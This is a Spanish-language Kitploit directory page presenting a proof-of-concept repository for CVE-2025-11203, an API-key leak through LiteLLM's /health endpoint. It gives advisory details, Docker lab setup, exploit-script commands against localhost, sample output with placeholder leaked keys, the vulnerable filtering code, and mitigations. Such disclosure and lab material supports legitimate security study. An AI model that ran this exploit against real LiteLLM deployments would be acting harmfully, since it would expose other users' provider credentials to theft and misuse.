Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-11203-PoC — El código para reproducir personalmente la vulnerabilidad correspondiente | Kitploit
Herramientas/GitHubGitHub/learner202649/cve-2025-11203-poc
Análisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad WebAprendizaje y EducaciónSeguridad de APIs
GitHublearner202649/cve-2025-11203-poc

CVE-2025-11203-PoC

El código para reproducir personalmente la vulnerabilidad correspondiente

Ver Repositorio
4hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-11203 — Divulgación de información de API_KEY en el endpoint Health de LiteLLM

En LiteLLM (versiones < 1.63.14), el endpoint /health, al procesar el parámetro api_key, no filtra correctamente la información sensible, lo que permite que los usuarios autenticados obtengan las API Key almacenadas en la configuración de otros modelos. El campo api_key, que debería eliminarse mediante la función _clean_endpoint_data(), se filtra en ciertas rutas de código.

CampoValor
CVECVE-2025-11203
ZDI IDZDI-25-929 (ZDI-CAN-26585)
CVSS v3.03.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N
CWECWE-200 (Exposición de información sensible a un actor no autorizado)
AfectadoLiteLLM < 1.63.14
Corregidov1.63.14+ (aplicación completa de _clean_endpoint_data())
Publicado2025-10-29
Descubierto porDavid Fiser & Alfredo Oliveira — Trend Micro Security Research
Notificado al proveedor2025-03-25
EnlacesZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq

Descripción

El endpoint /health de LiteLLM se utiliza para devolver el estado de salud de todos los modelos configurados. En circunstancias normales, la función _clean_endpoint_data() debería eliminar los campos sensibles (como api_key, x-api-key, etc.) de la respuesta de la comprobación de salud.

Sin embargo, antes de la v1.63.14, esta función de limpieza no se ejecutaba o se ejecutaba de forma incompleta en ciertas rutas de código, lo que provocaba que las API Key de la configuración de los modelos se devolvieran en texto plano en la respuesta de la comprobación de salud.

Endpoints vulnerables

EndpointMétodoDescripción
/healthGETDevuelve el estado de salud de todos los modelos
/health/livelinessGETComprobación de actividad
/health/readinessGETComprobación de disponibilidad

Información sensible filtrada

Los usuarios autenticados pueden obtener a través de la interfaz de comprobación de salud:

  • Las API Key de todos los modelos configurados (OpenAI, Anthropic, Azure, etc.)
  • Información como las URLs de los endpoints de los modelos
  • Las credenciales almacenadas pueden utilizarse para ataques posteriores

Prueba de concepto

Inicio rápido (Docker)

root@kitploit:~
# 1. 启动脆弱版 LiteLLM
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行利用脚本
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. 查看完整响应
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

Salida esperada

root@kitploit:~
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

Nota: El paso 1 tarda ~60s porque LiteLLM comprueba cada modelo ascendente (las claves falsas hacen que cada conexión agote el tiempo de espera). Las claves filtradas aparecen en unhealthy_endpoints ya que las claves falsas no pueden conectarse realmente a OpenAI/Anthropic.

La versión corregida evita la filtración:

root@kitploit:~
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

Detalles técnicos

Código vulnerable

La vulnerabilidad se encuentra en la función _clean_endpoint_data() en litellm/proxy/health_check.py, que filtra campos sensibles como api_key mediante la lista ILLEGAL_DISPLAY_PARAMS:

root@kitploit:~
ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

En esta demostración se ha eliminado "api_key" de ILLEGAL_DISPLAY_PARAMS mediante sed, haciendo que la respuesta de /health devuelva la configuración original del modelo, simulando el caso en que esta función de limpieza se omite en ciertas rutas de código.

Impacto

  • Los usuarios autenticados con privilegios bajos pueden leer las API Key de la configuración de todos los modelos
  • Las credenciales filtradas pueden utilizarse para invocar directamente las API de los proveedores de LLM
  • Puede dar lugar a una mayor fuga de datos y a la apropiación de cuentas

Entorno

root@kitploit:~
CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/

Corrección

Corregido en v1.63.14, garantizando que _clean_endpoint_data() se invoque correctamente en todas las rutas de código de la comprobación de salud.

Mitigaciones

  1. Actualice LiteLLM a v1.63.14+
  2. Si no es posible actualizar, restrinja las fuentes de acceso al endpoint /health
  3. Supervise los accesos anómalos a los endpoints de comprobación de salud

Referencias

  • ZDI-25-929
  • NVD Detail
  • GHSA-w4vf-cc4x-mpjq
  • LiteLLM v1.63.14 Release Notes

Aviso: Este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.

Descargar herramienta